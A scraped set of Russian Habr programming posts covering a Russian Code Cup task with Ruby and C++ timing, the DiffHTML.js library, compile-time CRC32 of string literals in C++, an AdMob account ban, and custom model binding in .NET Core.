Речь пойдёт о задаче **"A" Секретный код [(прямая ссылка)](http://www.russiancodecup.ru/ru/championship/round/52/problem/A/):**
**Ограничение по времени** 2 секунды
**Ограничение по памяти** 256 мегабайт
### Описание
Сейчас Марти находится в прошлом и хочет вернуться домой в 1985 год. Он уже влюбил своих родителей друг в друга и нашёл плутоний. Всё, что осталось сделать, — это включить машину времени и отправиться в путь. Здесь Марти ждёт ещё одно испытание. Чтобы включить машину времени, нужно ввести секретный код. Секретный код знает только Док. Марти известно, что все символы, из которых состоит код, различны, а также он знает количество символов. Пока Марти ждёт приезда Дока, он пытается угадать код и вводит различные комбинации символов.
Ваша задача — написать программу, которая для каждого запроса Марти выдает два числа — количество верных символов, которые стоят на своих позициях, и количество символов, которые встречаются в коде, но стоят на неверных позициях.
### Формат входных данных
В первой строке находится строка s — секретный код. Код состоит из латинских заглавных букв и цифр, все символы в коде различные.
Во второй строке содержится натуральное число n (1 ≤ n ≤ 105) — количество попыток Марти.
В каждой из следующих n строк содержится очередная комбинация, которую вводит Марти. Комбинации также состоят из латинских заглавных букв и цифр. Символы в каждой комбинации различны. Длина каждой комбинации совпадает с длиной секретного кода.
### Формат выходных данных
Для каждого запроса Марти выведите два числа a и b, где a — количество верных, b — количество символов, которые встречаются в коде, но стоят на неверных позициях.
### Пример
**Входные данные:**
BACKTO1985
3
BACKTO1958
BACKON1985
TOYEAR1985
**Выходные данные:**
8 2
8 1
4 3
---
Решение
-------
Задачка не из сложных. Практически никаких ухищрений для решения не требуется.
Перебираем комбинации, сравнивая каждую с секретным кодом посимвольно. Очередная пара символов совпала — увеличиваем **a**, иначе смотрим, присутствует ли данный символ в секретном коде (ищем за условно логарифмическое время, предварительно разложив секретный код на ассоциативный массив с ключами-символами). Если присутствует, увеличиваем **b**.
Вот простое решение на Ruby, (код именно тот, что я отправил во время раунда):
```
input = STDIN.read.split("\n")
code = input[0]
tries_count = (input[1]).to_i
tries = input[2,tries_count]
#puts code
#puts tries_count
#puts tries
code_a = code.split(//)
code_h = Hash[code_a.map {|x| [x, 1]}]
#puts code_h
tries.each do |t|
total_right = 0
missed_right = 0
t.each_char.with_index do |c, i|
if c == code[i]
total_right += 1
else
missed_right += 1 if code_h.has_key?(c)
end
end
puts "#{total_right} #{missed_right}"
end
```
Каково же было моё неудовольствие, когда я получил в ответ **Time Limit Exceeded**. Притом, самое забавное, что потом, под конец раунда, я решил для интереса ещё раз отправить точно такой же код. И он прошёл проверку! То есть, скорей всего, исполнялся на грани лимита времени. Я решил разобраться.
Написал идентичное (насколько это возможно) решение на C++:
```
#include
#include
int main() {
std::string code;
std::getline(std::cin, code);
std::string s\_tries\_count;
std::getline(std::cin, s\_tries\_count);
int tries\_count = std::stoi(s\_tries\_count);
std::string tries[tries\_count];
for(int i = 0; i < tries\_count; i++) {
std::getline(std::cin, tries[i]);
};
std::map code\_h;
for (char& c : code) {
std::string s(c, 1);
code\_h.insert(std::make\_pair(s, 1));
}
for (std::string t : tries) {
int total\_right = 0;
int missed\_right = 0;
for (int i = 0; i < t.length(); i++) {
if (t[i] == code[i]) {
total\_right++;
} else {
std::string s(t[i], 1);
if (code\_h.count(s)) {
missed\_right++;
}
}
}
std::cout << total\_right << " " << missed\_right << std::endl;
}
return 0;
}
```
Да, код скверен, не в последнюю очередь из-за этих преобразований из `char` в `string`, но я ставил цель максимально повторить решение на Ruby.
<КапитанОчевидность>
Так вот, код на C++ исполнялся значительно быстрее, чем на Ruby!
Вскоре после окончания раунда стали доступны наборы тестовых входных данных, и я скачал тест №17, на котором получил в первый раз **Time Limit Exceeded**, в нём было кодовое слово OPYB4R7JNHVGEKC3I6285TU90ASMFXLZW1D и 94432 комбинации.
### Замеры производительности
C++ собирал на g++ 4.8.4
Скрипт:
```
g++ -x c++ -std=c++0x -O2 -o ./solution1.a solutions/solution1.cpp &&
echo "solution1.cpp (with diff):" &&
time diff <( cat data/output.txt ) <( ./solution1.a < data/input.txt ) &&
echo "solution1.cpp (> dev/null):" &&
time ./solution1.a < data/input.txt > /dev/null
```
Вывод:
```
solution1.cpp (with diff):
real 0m0.411s
user 0m0.341s
sys 0m0.171s
solution1.cpp (> dev/null):
real 0m0.347s
user 0m0.319s
sys 0m0.028s
```
Версия Ruby 1.9.3
Скрипт:
```
echo "Ruby base solution (with diff):" &&
time diff <( cat data/output.txt ) <( ruby solutions/solution1.rb < data/input.txt ) &&
echo "Ruby base solution (> dev/null):" &&
time ruby solutions/solution1.rb < data/input.txt > /dev/null
```
Вывод:
```
Ruby base solution (with diff):
real 0m1.422s
user 0m1.416s
sys 0m0.009s
Ruby base solution (> dev/null):
real 0m1.413s
user 0m1.404s
sys 0m0.008s
```
Как видите, более чем трёхкратная разница по времени работы, при, в целом, аналогичном алгоритме.
Весь набор (входные/выходные данные по тесту №17, исходники cpp и rb, скрипты для сборки и замера производительности (только \*nix)) запилил [сюда на гитхаб](https://github.com/augur/2016-RCC-Warmup-Task1).
Можно подумать, что я еще не закрыл тег *КапитанОчевидность*, но вот выводы, которые я выношу на обсуждение:
* Ситуация совершенно справедливая для реального мира, где *каждому языку — свои задачи*
* *Однако*, в олимпиадном программировании, я считаю эту ситуацию несколько несправедливой
* В чемпионате, перед нами словно раскладывают инструменты на выбор, мол, бери любой, дело вкуса; на деле, одни из инструментов заметно эффективнее других
* Да, безусловно, у Ruby есть выигрыш в скорости и простоте написания непосредственно кода, когда решение в голове уже найдено
* *Но*, бьюсь об заклад, если посадить рядом одинаково компетентных специалистов по Ruby и C++, первый, если и напишет код быстрее, то только в рамках статистической погрешности
* Устанавливая жесткие рамки на время исполнения кода решения, организаторы, фактически, делают одни языки "равнее" других, хотя, казалось бы, цели олимпиады *немного* другие
* Что бы я предложил со своей колокольни? Оценивать вычислительную сложность решений (**Big O**)! Смотреть, как изменяется скорость исполнения кода при росте количества входных данных **n**. И, например, если время исполнения растет ощутимее быстрее линеарифмического **O(n log(n))**, решение отбраковывать
* И да, нужна будет защита от хитрых товарищей с решениями в константные **O(100500)**
Спасибо за внимание! Очень интересно будет узнать ваши мнения по теме. | https://habr.com/ru/post/282431/ | null | ru | null |
# DiffHTML.js — утилита для патчинга DOM
[](https://habrahabr.ru/post/308856/)
### Что такое DiffHTML.js?
DiffHTML — эта утилита для патчинга (частичного изменения) DOM-дерева. Она умеет находить разницу между существующим DOM-деревом и HTML-строкой, между двумя деревьями. В результате будут произведены только те изменения, которые реально имеют место быть. Те элементы которых не было — вставятся, атрибуты которые были реально изменены — изменятся, и только они. Остальные элементы останутся без изменений.
### Зачем это?
Просто чтобы не трогать те элементы в которых не было изменений. Это в теории дешевле, чем ре-рендерить полностью все дерево.
#### Как же React.JS?
React делает почти тоже самое, но у DiffHTML есть существенный козырь — эта библиотека по-умолчанию не требует практически никакой инфраструктуры вокруг себя. Ни сборки, ни специальных трансформаций в реакт-объекты. Вы просто можете сделать следующее:
```
diff.innerHTML(document.body, 'Hello world!
============
');
```
И объект появится в DOM-дереве. Далее…
```
diff.innerHTML(document.body, 'Hello world!
============
');
```
И только атрибут class будет добавлен. Просто добавим параграф:
```
diff.innerHTML(document.body, 'Hello world!
============
Dear, World!
');
```
В общем идея очень простая и в то же время достаточно мощная.
### Минусы (готовность для продакшена)
* Проект молодой, поэтому здесь баги — это нормально
* Проблемы с навешиванием событий (старые события автоматически не удаляются)
* Нет большого количества информации вокруг этой библиотеки
* Нет бенчмарков
### Плюсы
* В теории, быстрей простой перерисовки всех элементов внутри контейнера
* Есть middleware, можно контролировать проецес патчинга
* Есть подобие Virtual DOM, можно писать React-like шаблоны
* Меньше проводить времени с точечными модификациями DOM-дерева вручную
* Отзывчивый разработчик
### Где применять?
Лично я вижу сферы применения:
* В старом коде, работающем на базе традиционных шаблонов и `el.innerHTML` вставки, можно добиться ускорения производительности
* Для сложных SaaS виджетов, где важен размер подключаемых библиотек
* Для pet-проектов, где React избыточен, но на Vanilla.JS уже не хочется
### А ToDo?
Есть [ToDo](https://github.com/tbranyen/todomvc), но как мне показалось — код сильно избыточен, поэтому я сделал свое:
Мой [ToDo](https://github.com/jmas/htmldiff-todo) (DiffHTML, Babel DiffHTML tag transformer, Redux)
### Вывод
Библиотека сырая, но она мне нравится так как проста и не требует радикальных изменений в давно привычном подходе обновлять все внутри контейнера. Для продакшена брать уж точно не стоит, но попробовать можно. Даже просто для того чтобы проверить как оно работает, и может быть помочь с поиском багов.
Будет очень кстати, если кто то возьмется померять производительность.
» **Github:** [github.com/tbranyen/diffhtml](https://github.com/tbranyen/diffhtml)
» **Issues:** [github.com/tbranyen/diffhtml/issues](https://github.com/tbranyen/diffhtml/issues)
Спасибо за чтение!
**Update:** в комментариях подсказали, что еще есть аналог — [morphdom](https://github.com/patrick-steele-idem/morphdom) (и [форк](https://github.com/Riim/morph-element)).
**Update 2:** в одном из комментариев продолжил идею об уходе от работы напрямую с DOM к работе исключительно с шаблонами. Пересобрать HTML-строку всего приложения из шаблонов не так дорого, и пусть DiffHTML посчитает разницу и внесет изменения в DOM. | https://habr.com/ru/post/308856/ | null | ru | null |
# Вычисление CRC32 строк в compile-time
По своей программистской природе я очень не люблю неоптимальность и избыточность в коде. И вот, читая в очередной раз на работе исходный код нашего проекта, вновь наткнулся на одну особенность в способе реализации перевода строк продукта на разные языки.
Локализация здесь осуществляется довольно нехитро. Все строки, требующие перевода, оборачиваются в макрос `_TR()`:
```
wprintf(L"%s\n", _TR("Some translating string"));
```
Макрос возвращает нужную версию текста в зависимости от текущего используемого языка. Определён он следующим образом:
```
#define _TR(x) g_Translator.Translate(x)
```
Здесь происходит обращение к глобальному объекту `g_Translator`, который в функции `Translate()` считает в рантайме crc32 от указанной строки, ищет в своей xml-базе перевод с совпадающей контрольной суммой и возвращает его.
Не буду судить насколько такое решение оправдано, но оно проверено временем и показало себя достаточно надёжным. И всё бы ничего, но такое решение не лишено недостатков: по сути, функция делает лишнюю работу — контрольные суммы можно было бы подсчитать один раз на этапе компиляции, и использовать в дальнейшем уже готовые числовые значения. Это также избавило бы от необходимости хранить в исполняемом образе дублирующиеся строки, ведь они уже есть во внешнем xml-файле с переводами.
Немного погуглив по запросу «compile-time crc32» я быстро понял, что задача это не самая тривиальная, а готовых решений мне найти так и не удалось.
Использовать [шаблонное метапрограммирование](http://en.wikipedia.org/wiki/Template_metaprogramming) в чистом виде здесь, к сожалению, не получится. Любое обращение к символам строки, используемой в качестве параметра шаблона, не даёт компилятору свернуть рекурсивные вызовы шаблонной функции. Напрмер, в [этой](http://habrahabr.ru/post/38622/) статье рассматривается создание только таблицы для расчётов crc32. А из полностью standard-compliant решений нашлось только одно — [Boost.MPL](http://arcticinteractive.com/2009/04/18/compile-time-string-hashing-boost-mpl/). Здесь предлагается использовать следующую форму записи:
```
meta::hash_cstring< mpl::string<'bunn','ies'> >::value;
```
Вместо использования строковых литералов предлагается разбивать строку на кусочки и отдавать отдельными параметрами шаблона. Но помимо причудливости используемой записи, чтобы преобразовать все 2450 строк проекта к такому виду, пришлось бы писать внешний кодогенератор и учить всю команду проекта новой форме записи.
Проскакивали на форумах также сообщения, что в новом [C++11](http://ru.wikipedia.org/wiki/C%2B%2B11) эта идея реализуема с использованием классического шаблонного метапрограммирования и ключевого слова `constexpr`, но, к сожалению, так просто перевести проект с длинной родословной на новый стандарт не представляется возможным.
Была и другая идея с использованием кодогенератора. Можно было бы сделать pre-build event, на котором приводить переводимые строки к такому виду:
```
_TR(0x12345678/*"Some hashing string"*/);
```
Но опять же, хотелось чего-то универсального… Хотелось такой волшебный `_TR()`, который просто оставит после себя чистый crc32 без лишних телодвижений. И тогда я начал изобретать свой велосипед.
#### Попытка №1. Чистые макросы
На этом этапе в моей голове теплила надежду только одна мысль: кроме шаблонов до компиляции просчитываются макросы — нужно использовать их!
Я создал новый проект в Visual Studio, выставив настройки оптимизации на максимальный inline и максимальную скорость. Анализировать успешность/неуспешность свёртывания строк до хеша я решил в известном user-mode отладчике [OllyDbg](http://ollydbg.de/), поэтому хотелось бы видеть в результирующем ехе только по одной маленькой секции на код и данные без лишнего мусора. Для этого я отключил С-runtime, что вкупе с несколькими другими приёмчиками позволило на выходе получить пустой ехе размером всего 2 Кб.
После нескольких экспериментов я выдал простейшую реализацию расчёта crc32 для строк не более 3 символов:
```
static const unsigned int Crc32Table[256] = {
0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA,
0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3,
0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988,
/* ... ,*/
0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D
};
template
char (&array\_length(T (&)[N]))[N];
// используется для нахождения длины строкового литерала
#define lengthof(x) (sizeof(array\_length(x)))
// стандартная итерация расчёта crc32
#define TR\_CRC(crc,i,s) (crc >> 8)^Crc32Table[(crc^s[i])&0xFF]
// расчитываем очередной символ только если еще не был достигнут конец строки
#define TR\_CRC\_COND(crc,i,s) (i
```
В реализации макросами основная проблема заключается в том, что мы не можем развернуть цикл расчёта crc на нужное количество итераций по длине строки, как в шаблонном метапрограммировании. Макрос всегда будет пересчитывать столько итераций, сколько в него заложить изначально. Например, в примере выше строка «1» всё равно бы просчитывалась в 4 итерации (максимальные 3 символа + '\0'), несмотря на то, что длина у неё всего один символ. Обходится это условной операцией, которая подсовывает значение crc с предыдущей итерации, в случае если строка уже просчитана до последнего символа.
Запустив полученный ехе в отладчике, я увидел заветное `PUSH 884863D2`, правильность расчёта которого легко подтверждается [первым попавшимся](http://www.codenet.ru/services/crc32/) онлайн-калькулятором crc32.
Пришло время посмотреть насколько сильно упадёт скорость компиляции, если растиражировать макрос на длину строки, позволявшей покрыть требования проекта. Самая длинная строка в базе переводов была чуть короче 350 символов, так что хотелось заложиться хотя бы на предел в 500 символов.
Таким образом, я сгенерировал тело макроса, в сокращённой форме выглядившее примерно так:
```
#define _TR(s) TR_CRC_COND(TR_CRC_COND(/*...*/TR_CRC_COND(TR_CRC_COND(0xFFFFFFFF,0,s),1,s),2,s),3,s)/*...*/,448,s),449,s)^0xFFFFFFFF
```
Но тут меня ждало разочарование, когда компилятор выдал своё холодное: *«fatal error C1009: compiler limit: macros nested too deeply»*. Опытным путём тогда удалось выяснить, что предел вложенности находится где-то в районе 300.
#### Попытка №2. Функция \_\_forceinline
Потом еще были несколько попыток вместо вложенных макросов использовать inline-функции, но всё в итоге скатывалось либо к схожей ошибке (точно не помню, но компилятор ругался на слишком сложную грамматику), либо к непомерно долгой компиляции.
После всех мучений я практически был готов отказаться от этой идеи, но всё же решил попробовать написать одну большую [\_\_forceinline](http://msdn.microsoft.com/ru-ru/library/z8y1yy88.aspx) функцию с кучей последовательных расчётов и проверками длины строки (я почему-то был уверен, что такое компилятор никогда в жизни не свернёт в константу):
```
// Выполняем итерацию, если еще не достигли конца строки
#define CRC_STUB_(i) if (i>8) ^ Crc32Table[(crc^s[i])&0xFF] }
template
static \_\_forceinline DWORD CRC\_ARR\_CALC\_(const char (&s)[N])
{
static const unsigned int Crc32Table[256] = {
0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA,
0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3,
0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988,
/\* ... ,\*/
0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D
};
DWORD crc = 0;
CRC\_STUB\_(0);CRC\_STUB\_(1);CRC\_STUB\_(2);CRC\_STUB\_(3);CRC\_STUB\_(4);CRC\_STUB\_(5);CRC\_STUB\_(6);CRC\_STUB\_(7);CRC\_STUB\_(8);CRC\_STUB\_(9);CRC\_STUB\_(10);CRC\_STUB\_(11);CRC\_STUB\_(12);CRC\_STUB\_(13);CRC\_STUB\_(14);CRC\_STUB\_(15);CRC\_STUB\_(16);CRC\_STUB\_(17); /\* ... \*/ CRC\_STUB\_(498);CRC\_STUB\_(499);
return crc;
}
```
И это сработало! Компилятор довольно шустро сворачивал весь код в одно число, не оставляя в результирующем бинарнике ни самих строк, ни даже таблицу `Crc32Table`. Для правильной компиляции такой реализации достаточно только ключа /O2. Оставалось только дописать перегруженную версию метода `g_Translator.Translate()` с crc32 в качестве параметра, и дело в шляпе.
После внедрения кода в проект, компиляция релизной сборки стала дольше на 1-2 минуты, но зато бинарник стал легче на 200 Кб, и теперь он не заставляет заниматься процессоры пользователей ненужной работой, позволяя их ноутбукам работать от батареи чуточку дольше :)
Полный исходник к тестовому проекту можно взять здесь: [7z](http://designforu.ru/crc32/test.7z), [tar.gz](http://designforu.ru/crc32/test.tar.gz) | https://habr.com/ru/post/143975/ | null | ru | null |
# Этот капризный AdMob. Как помириться с корпорацией добра
Многие из разработчиков мобильных приложений и сайтов, использующие adMob, видели это неприятное сообщение:
*Your account has been disabled for invalid activity or repeated policy violations. Some examples include recurring manual clicks or impressions, violation of our content policies which can be found here, robots, automated click and impression generating tools, third-party services that generate clicks or impressions such as pay-to-click, pay-to-surf, autosurf, and click-exchange programs, or any deceptive software. If you have any questions or concerns about the actions we've taken, how you can appeal this decision, or invalid activity in general, you can find more information here.*
Свою реакцию на это событие я изложил в [хабра-статье](http://habrahabr.ru/post/145609/). С удовольствием сообщаю, как мне удалось вернуть расположение google.
#### Жулики из Smaato
Потеряв 500 долларов, заработанных на AdMob рекламе, я, по совету издателя, ушел на другую рекламную площадку. Некое Smaato. Smaato клятвенно обещало более высокий доход от рекламы в сравнении с прочими. К счастью, они соврали. Доход был в три раза меньше и едва цифра гонорара преодолела планку 100 долларов, Smaato прислало мне письмо, похожее на сообщение от Google. Смысл письма сводился к тому, что я жулик и не видать мне денег.
Я быстро уразумел, что лучше вернуться в Google и выполнять пару эмпирических правил.
Что касается Smaato, то в течении последних месяцев они прислали 2 письма со сладкими обещаниями и я с чувством глубокого удовлетворения нажимал кнопку **Это спам**. Несколько жаль потраченного времени на включение в код 20 приложений жульнического Smaato SDK.
#### Возвращение блудного сына
Для возврата в google, я завел новый аккаунт. Контрольный email оставил прежним.
Приготовился заново делать в adMob 20 рекламных компаний и перенастраивать 20 приложений.
Каково же было мое удивление, когда зайдя в adMob с нового аккаунта, я обнаружил на нем все 20 моих старых приложений. Делать ничего не надо! Сначала я испугался, что большой брат следит за мной, а потом решил — пусть следит. Хоть кому-то я интересен. Если серьезно, скорее всего разгадка кроется в контрольном email.
Я раскомментировал в приложениях строчки
```
- (NSString *)adWhirlApplicationKey {
return@"240b38ce4d984d0db50452115d55faac";
}
```
и начал лихорадочно следить за цифрами дохода и числами под таинственными аббревиатурами eCPM и RPM. Смотрите на рисунок ниже.
##### Список моих рекламных компаний для iOs приложений
Обведенные зеленым числа не должны превышать 2-3 долларов. Нормальное значение для активного приложения 0.3 — 0.5$. Завышенное число eCpm может означать, что просмотры рекламы нечеловеческие и пахнут накруткой. Большая опасность заключается в новых приложениях. Имея малое число показов, при тестирование возможно получить очень большое RPM. Это дает повод автомату google закрыть аккаунт. Хотя доход от приложения исчислялся 4 центами, мой предыдущий аккаунт был закрыт навеки.
Ниже пример, следите за цифрами, обведенными красным фломастером.
##### Список моих рекламных компаний для iOs приложений
Такое приложение следует немедленно отключить от adMob.
Включить его можно некоторое время спустя, когда число скачанных копий превысит 100.
#### Вывод
Возможно, мои действия надуманны, но деньги с нового аккаунта adMob теперь приходят ежемесячно.
БББ. | https://habr.com/ru/post/163339/ | null | ru | null |
# .Net Core Api: получение данных в запросе из разных источников
В .Net Core есть встроенный механизм Model Binding, позволяющий не просто принимать входные параметры в контроллерах, а получать сразу объекты с заполненными полями. Это позволяет встроить в такой объект все нужные проверки с помощью Model Validation.
Вот только данные, нужные для работы API, приходят нам не только из Query или Body. Какие-то данные нужно получить из Headers (в моем случае там был json в base64), какие-то — из внешних сервисов или ActionRoute, если вы используете REST. Для получения данных оттуда можно использовать свой Binding. Правда и тут есть проблема: если вы решили не нарушать инкапсуляцию и инициализировать модель через конструктор, то придется пошаманить.
Для себя и для будущих поколений я решил написать что-то вроде инструкции по использованию Binding и шаманство с ним.
Проблема
--------
Типичный контроллер выглядит как-то так:
```
[HttpGet]
public async Task GetSomeData([FromQuery[IncomeData someData)
{
var moreData = GetFromHeaderAndDecode("X-Property");
if (moreData.Id == 0)
{
return StatusCode(400, "Nginx doesnt know your id");
}
var externalData = GetFromExternalService("http://myservice.com/MoreData");
if (externalData == null)
{
return StatusCode(500, "Cant connect to external service");
}
var finalData = new FinalData(someData, moreData, externalData);
return \_myService.Handle(finalData);
}
```
В итоге мы получаем следующие проблемы:
1. Логика валидации размазана по объекту запроса, методу запроса из заголовка, методу запроса из сервиса и методу контроллера. Чтобы убедиться, что нужная проверка точно есть, нужно провести целое расследование!
2. В соседнем методе контроллера будет точно такой же код. Копипаст программирование в атаке.
3. Обычно проверок значительно больше, чем в примере, и в итоге единственная значимая строчка — вызов метода обработки бизнес-логики — спрятан в куче кода. Увидеть его и понять, что вообще тут происходит, требует определенных усилий.
### Свой Binding (Easy Mode)
Частично проблему можно решить, внедрив в пайплайн обработки запроса свой обработчик. Для этого сначала поправим наш контроллер, передавая в метод сразу итоговый объект. Выглядит значительно лучше, правда?
```
[HttpGet]
public async Task GetSomeData([FromQuery]FinalData finalData)
{
return \_myService.Handle(finalData);
}
```
Дальше создадим свой binder для типа MoreData.
```
public class MoreDataBinder : IModelBinder
{
public Task BindModelAsync(ModelBindingContext bindingContext)
{
var moreData = GetFromHeaderAndDecode(bindingContext.HttpContext.Request.Headers);
if (moreData != null)
{
bindingContext.Result = ModelBindingResult.Success(moreData);
}
return Task.CompletedTask;
}
private MoreData GetFromHeaderAndDecode(IHeaderDictionary headers) { ... }
}
```
Наконец поправим модель FinalData, добавив туда привязку binder к свойству:
```
public class FinalData
{
public int SomeDataNumber { get; set; }
public string SomeDataText { get; set; }
[ModelBinder(BinderType = typeof(MoreDataBinder))]
public MoreData MoreData { get; set; }
}
```
Уже лучше, но геморроя прибавилось: теперь нужно знать, что у нас есть специальный обработчик и во всех моделях его указывать. Но это решаемо.
Создадим свой BinderProvider:
```
public class MoreDataBinderProvider : IModelBinderProvider
{
public IModelBinder GetBinder(ModelBinderProviderContext context)
{
var modelType = context.Metadata.UnderlyingOrModelType;
if (modelType == typeof(MoreData))
{
return new BinderTypeModelBinder(typeof(MoreDataBinder));
}
return null;
}
}
```
И зарегистрируем его в Startup:
```
public void ConfigureServices(IServiceCollection services)
{
services.AddControllers();
services.AddMvc(options =>
{
options.ModelBinderProviders.Insert(0, new MoreDataBinderProvider());
});
}
```
Провайдер вызывается для каждого объекта модели в порядке очереди. Если наш провайдер встретит нужный тип, он вернет нужный binder. А если нет, то сработает binder по умолчанию. Так что теперь всегда, когда мы будем указывать тип MoreData, он будет браться и декодироваться из Header и специальных атрибутов в моделях указывать не нужно.
### Свой Binding (Hard Mode)
Все это здорово, но есть одно но: чтобы магия работала, наша модель должна иметь публичные свойства с set. А как же инкапсуляция? Что если я хочу передавать данные запроса в различные злачные места и знать, что они там не будут изменены?
Проблема в том, что дефолтный binder не работает для моделей, у которых нет конструктора по умолчанию. Но что нам мешает написать свой?
> В сервисе, для которого я писал этот код, не используется REST, параметры передаются только через Query и Body, а так же используется только два типа запросов — Get
>
> и Post. Соответственно, в случае REST API логика обработки будет немного отличаться.
В целом код останется без изменений, доработка нужна только нашему binder, чтобы он сам создавал объект и заполнял его приватные поля. Дальше я приведу куски кода с комментариями, кому не интересно — в конце статьи под катом весь листинг класса.
Для начала, определим, является ли MoreData единственным свойством класса. Если да, то объект нужно создать самому (привет, Activator), а если нет — то с созданием отлично справится JsonConvert, а мы просто подсунем нужные данные в свойство.
```
private static bool NeedActivator(IReflect modelType)
{
var propFlags = BindingFlags.NonPublic | BindingFlags.Public | BindingFlags.Instance;
var properties = modelType.GetProperties(propFlags);
return properties.Select(p => p.Name).Distinct().Count() == 1;
}
```
Создать объект через JsonConvert просто, для запросов с Body:
```
private static object? GetModelFromBody(ModelBindingContext bindingContext, Type modelType)
{
using var reader = new StreamReader(bindingContext.HttpContext.Request.Body);
var jsonString = reader.ReadToEnd();
var data = JsonConvert.DeserializeObject(jsonString, modelType);
return data;
}
```
А вот с Query мне пришлось накостылять. Буду рад, если кто-то сможет подсказать более красивое решение.
При передаче массива получается несколько параметров с одинаковым именем. Приведение к «плоскому» типу помогает, но сериализация ставит лишние кавычки к массиву [], которые приходится убирать вручную.
```
private static object? GetModelFromQuery(ModelBindingContext bindingContext, Type modelType)
{
var valuesDictionary = QueryHelpers.ParseQuery(bindingContext.HttpContext.Request.QueryString.Value);
var jsonDictionary = valuesDictionary.ToDictionary(pair => pair.Key, pair => pair.Value.Count < 2 ? pair.Value.ToString() : $"[{pair.Value}]");
var jsonStr = JsonConvert.SerializeObject(jsonDictionary).Replace("\"[", "[").Replace("]\"", "]");
var data = JsonConvert.DeserializeObject(jsonStr, modelType);
return data;
}
```
Наконец, создав объект, необходимо в его приватное свойство записать наши данные. Именно про это шаманство я и говорил в начале статьи. Нашел это решение вот [тут](https://dejanstojanovic.net/aspnet/2019/september/mixed-model-binding-in-aspnet-core-using-custom-model-binders/), за что автору большое спасибо.
```
private void ForceSetValue(PropertyInfo propertyInfo, object obj, object value)
{
var propName = $"<{propertyInfo.Name}>k__BackingField";
var propFlags = BindingFlags.Instance | BindingFlags.NonPublic;
obj.GetType().GetField(propName, propFlags)?.SetValue(obj, value);
}
```
Ну и объединяем эти методы в едином вызове:
```
public Task BindModelAsync(ModelBindingContext bindingContext)
{
var moreData = GetFromHeaderAndDecode(bindingContext.HttpContext.Request.Headers);
if (moreData == null)
{
return Task.CompletedTask;
}
var modelType = bindingContext.ModelMetadata.UnderlyingOrModelType;
if (NeedActivator(modelType))
{
var data = Activator.CreateInstance(modelType, moreData);
bindingContext.Result = ModelBindingResult.Success(data);
return Task.CompletedTask;
}
var model = bindingContext.HttpContext.Request.Method == "GET"
? GetModelFromQuery(bindingContext, modelType)
: GetModelFromBody(bindingContext, modelType);
if (model is null)
{
throw new Exception("Невозможно сериализовать запрос");
}
var ignoreCase = StringComparison.InvariantCultureIgnoreCase;
var dataProperty = modelType.GetProperties()
.FirstOrDefault(p => p.Name.Equals(typeof(T).Name, ignoreCase));
if (dataProperty != null)
{
ForceSetValue(dataProperty, model, moreData);
}
bindingContext.Result = ModelBindingResult.Success(model);
return Task.CompletedTask;
}
```
Осталось поправить BinderProvider, чтобы он реагировал на любые классы с нужным свойством:
```
public class MoreDataBinderProvider : IModelBinderProvider
{
public IModelBinder GetBinder(ModelBinderProviderContext context)
{
var modelType = context.Metadata.UnderlyingOrModelType;
if (HasDataProperty(modelType))
{
return new BinderTypeModelBinder(typeof(PrivateDataBinder));
}
return null;
}
private bool HasDataProperty(IReflect modelType)
{
var propFlags = BindingFlags.NonPublic | BindingFlags.Public | BindingFlags.Instance;
var properties = modelType.GetProperties(propFlags);
return properties.Select(p => p.Name) .Contains(nameof(MoreData));
}
}
```
Вот собственно и все. Binder получился несколько сложнее чем в Easy Mode, зато теперь мы можем привязывать «внешние» свойства во всех методах всех контроллеров без дополнительных усилий. Из минусов:
1. Нужно у конструктора объектов с приватными полями обязательно указывать атрибут [JsonConstrustor]. Но это вполне ложится в логику модели и никак не мешает ее восприятию.
2. Где-то вам может потребоваться получить MoreData не из заголовка. Но это лечится созданием отдельного класса.
3. Остальные члены команды должны быть в курсе наличия магии. Но документация спасет человечество.
Полный листинг получившегося Binder здесь:
**PrivateMoreDataBinder.cs**
```
public class PrivateDataBinder : IModelBinder
{
///
/// Модель
public Task BindModelAsync(ModelBindingContext bindingContext)
{
var moreData = GetFromHeaderAndDecode(bindingContext.HttpContext.Request.Headers);
if (moreData == null)
{
return Task.CompletedTask;
}
var modelType = bindingContext.ModelMetadata.UnderlyingOrModelType;
if (NeedActivator(modelType))
{
var data = Activator.CreateInstance(modelType, moreData);
bindingContext.Result = ModelBindingResult.Success(data);
return Task.CompletedTask;
}
var model = bindingContext.HttpContext.Request.Method == "GET"
? GetModelFromQuery(bindingContext, modelType)
: GetModelFromBody(bindingContext, modelType);
if (model is null)
{
throw new Exception("Невозможно сериализовать запрос");
}
var ignoreCase = StringComparison.InvariantCultureIgnoreCase;
var dataProperty = modelType.GetProperties()
.FirstOrDefault(p => p.Name.Equals(typeof(T).Name, ignoreCase));
if (dataProperty != null)
{
ForceSetValue(dataProperty, model, moreData);
}
bindingContext.Result = ModelBindingResult.Success(model);
return Task.CompletedTask;
}
private static object? GetModelFromQuery(ModelBindingContext bindingContext,
Type modelType)
{
var valuesDictionary = QueryHelpers.ParseQuery(bindingContext.HttpContext.Request.QueryString.Value);
var jsonDictionary = valuesDictionary.ToDictionary(pair => pair.Key, pair => pair.Value.Count < 2 ? pair.Value.ToString() : $"[{pair.Value}]");
var jsonStr = JsonConvert.SerializeObject(jsonDictionary)
.Replace("\"[", "[")
.Replace("]\"", "]");
var data = JsonConvert.DeserializeObject(jsonStr, modelType);
return data;
}
private static object? GetModelFromBody(ModelBindingContext bindingContext,
Type modelType)
{
using var reader = new StreamReader(bindingContext.HttpContext.Request.Body);
var jsonString = reader.ReadToEnd();
var data = JsonConvert.DeserializeObject(jsonString, modelType);
return data;
}
private static bool NeedActivator(IReflect modelType)
{
var propFlags = BindingFlags.NonPublic | BindingFlags.Public | BindingFlags.Instance;
var properties = modelType.GetProperties(propFlags);
return properties.Select(p => p.Name).Distinct().Count() == 1;
}
private void ForceSetValue(PropertyInfo propertyInfo, object obj, object value)
{
var propName = $"<{propertyInfo.Name}>k\_\_BackingField";
var propFlags = BindingFlags.Instance | BindingFlags.NonPublic;
obj.GetType().GetField(propName, propFlags)?.SetValue(obj, value);
}
